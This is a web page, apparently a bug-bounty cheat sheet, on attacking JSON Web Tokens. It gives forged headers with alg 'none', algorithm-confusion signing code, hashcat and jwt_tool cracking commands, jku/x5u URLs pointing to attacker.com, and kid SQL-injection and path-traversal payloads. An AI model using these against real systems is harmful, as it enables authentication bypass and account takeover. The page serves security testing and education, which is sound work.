Skip to content
Web Security

JWT Attacks

JWT vulnerabilities, signature bypass, and token manipulation for account takeover

JWT Structure

TEXT
Header.Payload.Signature

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Quick Decode

BASH
# Command line
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d

# jwt_tool
python3 jwt_tool.py <token>

# jwt.io - paste full token

Algorithm Attacks

None Algorithm

JSON
// Original header
{"alg":"HS256","typ":"JWT"}

// Attack: Change to none
{"alg":"none","typ":"JWT"}
{"alg":"None","typ":"JWT"}
{"alg":"NONE","typ":"JWT"}
{"alg":"nOnE","typ":"JWT"}

// Remove signature (keep trailing dot!)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIn0.

RS256 to HS256 (Algorithm Confusion)

BASH
# Server uses RS256 (asymmetric) but also accepts HS256 (symmetric)
# Attack: Sign with PUBLIC key as HS256 secret

# 1. Get public key
openssl s_client -connect target.com:443 < /dev/null 2>/dev/null | openssl x509 -pubkey -noout > public.pem

# OR extract from /.well-known/jwks.json, /api/keys, etc.

# 2. Convert JWK to PEM if needed
# 3. Sign token with public key using HS256
python3 jwt_tool.py <token> -X k -pk public.pem

# Manual with Node.js
const jwt = require('jsonwebtoken');
const fs = require('fs');
const publicKey = fs.readFileSync('public.pem');
const token = jwt.sign({sub: 'admin'}, publicKey, {algorithm: 'HS256'});

Signature Attacks

Weak Secret Brute Force

BASH
# hashcat (fastest)
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
hashcat -a 0 -m 16500 "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature" rockyou.txt

# jwt_tool
python3 jwt_tool.py <token> -C -d wordlist.txt

# jwt-cracker (node)
jwt-cracker -t <token> -d wordlist.txt

# Common weak secrets
secret, password, 123456, secret123, jwt_secret
your-256-bit-secret, changeme, development

Null Signature

TEXT
# Some implementations don't verify signature at all
# Try sending token with empty/random signature
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.AAAAAAAAAAAAA
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.

Header Injection

JKU (JWK Set URL) Injection

JSON
{
  "alg": "RS256",
  "jku": "https://attacker.com/.well-known/jwks.json"
}

// Host your own JWKS with your key pair
// Server fetches and trusts your key

JWK (Embedded Key) Injection

JSON
{
  "alg": "RS256",
  "jwk": {
    "kty": "RSA",
    "n": "<your-public-key-modulus>",
    "e": "AQAB"
  }
}

// Token is verified using the embedded key you control

X5U (X.509 URL) Injection

JSON
{
  "alg": "RS256",
  "x5u": "https://attacker.com/cert.pem"
}

// Host certificate with your key pair

X5C (X.509 Certificate Chain) Injection

JSON
{
  "alg": "RS256",
  "x5c": ["<base64-encoded-certificate>"]
}

// Self-signed certificate embedded

KID (Key ID) Injection

JSON
// SQL Injection via kid
{"alg":"HS256","kid":"1' UNION SELECT 'secret'--"}
// Server uses SQL result as key → you know key = 'secret'

// Path Traversal via kid
{"alg":"HS256","kid":"../../dev/null"}
// Sign with empty file (empty/predictable key)

{"alg":"HS256","kid":"../../etc/hostname"}
// Sign with content of hostname file

{"alg":"HS256","kid":"/proc/sys/kernel/randomize_va_space"}
// Usually contains "2"

Claim Attacks

Payload Manipulation

JSON
// Common claims to attack
{
  "sub": "admin",           // Subject - try admin, 1, root
  "user": "admin",          // User identifier
  "role": "admin",          // Role claim
  "admin": true,            // Admin flag
  "is_admin": 1,            // Alternative admin flag
  "groups": ["admin"],      // Group membership
  "scope": "admin read write",  // OAuth scopes
  "aud": "admin-api",       // Audience - access other apps
  "iss": "trusted-issuer",  // Issuer - if checked against whitelist
  "exp": 9999999999,        // Expiration far in future
  "iat": 1,                 // Issued at - old token still valid?
  "jti": "reused-id"        // JWT ID - replay attacks
}

Type Juggling

JSON
// PHP loose comparison
{"admin": true}   vs  {"admin": "true"}
{"role": 0}       vs  {"role": "0"}
{"id": 1}         vs  {"id": "1"}

Claim Injection

JSON
// Add unexpected claims
{
  "user_id": 123,
  "user_id": 456    // Duplicate - which is used?
}

// Nested claims
{
  "user": {
    "id": 123,
    "is_admin": true
  }
}

Cross-Service Attacks

Token Reuse Across Apps

TEXT
# Token issued for app1.target.com
# Try using it on app2.target.com
# Check if 'aud' claim is validated

Issuer Bypass

TEXT
# Token from subsidiary/acquired company
# Internal issuer that's trusted
# Development issuer (iss: "dev")

Testing Methodology

Step 1: Analyze Token

BASH
# Decode and understand structure
jwt_tool.py <token> -T

# Check:
- Algorithm used
- Expiration time
- User identifying claims
- Role/permission claims

Step 2: Test None Algorithm

BASH
jwt_tool.py <token> -X a  # All attacks including none

Step 3: Brute Force Weak Secret

BASH
jwt_tool.py <token> -C -d wordlist.txt

Step 4: Test Algorithm Confusion

BASH
# If RS256, try HS256 with public key
jwt_tool.py <token> -X k -pk public.pem

Step 5: Test Claim Manipulation

BASH
jwt_tool.py <token> -T  # Tamper mode
# Modify claims, re-sign if you have key

Step 6: Header Injection

TEXT
- Test jku with collaborator
- Test kid SQL injection
- Test kid path traversal

Tools

BASH
# jwt_tool (Python - most complete)
python3 jwt_tool.py <token> -T      # Tamper
python3 jwt_tool.py <token> -X a    # All attacks
python3 jwt_tool.py <token> -C -d words.txt  # Crack

# jwt-cracker (Node - fast cracking)
jwt-cracker -t <token>

# jwt.io - Online decoder/encoder

# Burp - JWT Editor extension

Bug Bounty Tips

High-Value Targets

TEXT
- Authentication tokens
- Password reset tokens
- API authorization
- OAuth access tokens
- Session tokens
- Email verification links

Key Locations

TEXT
/.well-known/jwks.json
/api/keys
/oauth/jwks
/.well-known/openid-configuration
X.509 certificates from TLS

Impact Demonstration

TEXT
1. Decode token → show claims
2. Modify claims (useradmin)
3. Re-sign with attack
4. Show successful auth as admin
5. Document specific access gained
On this page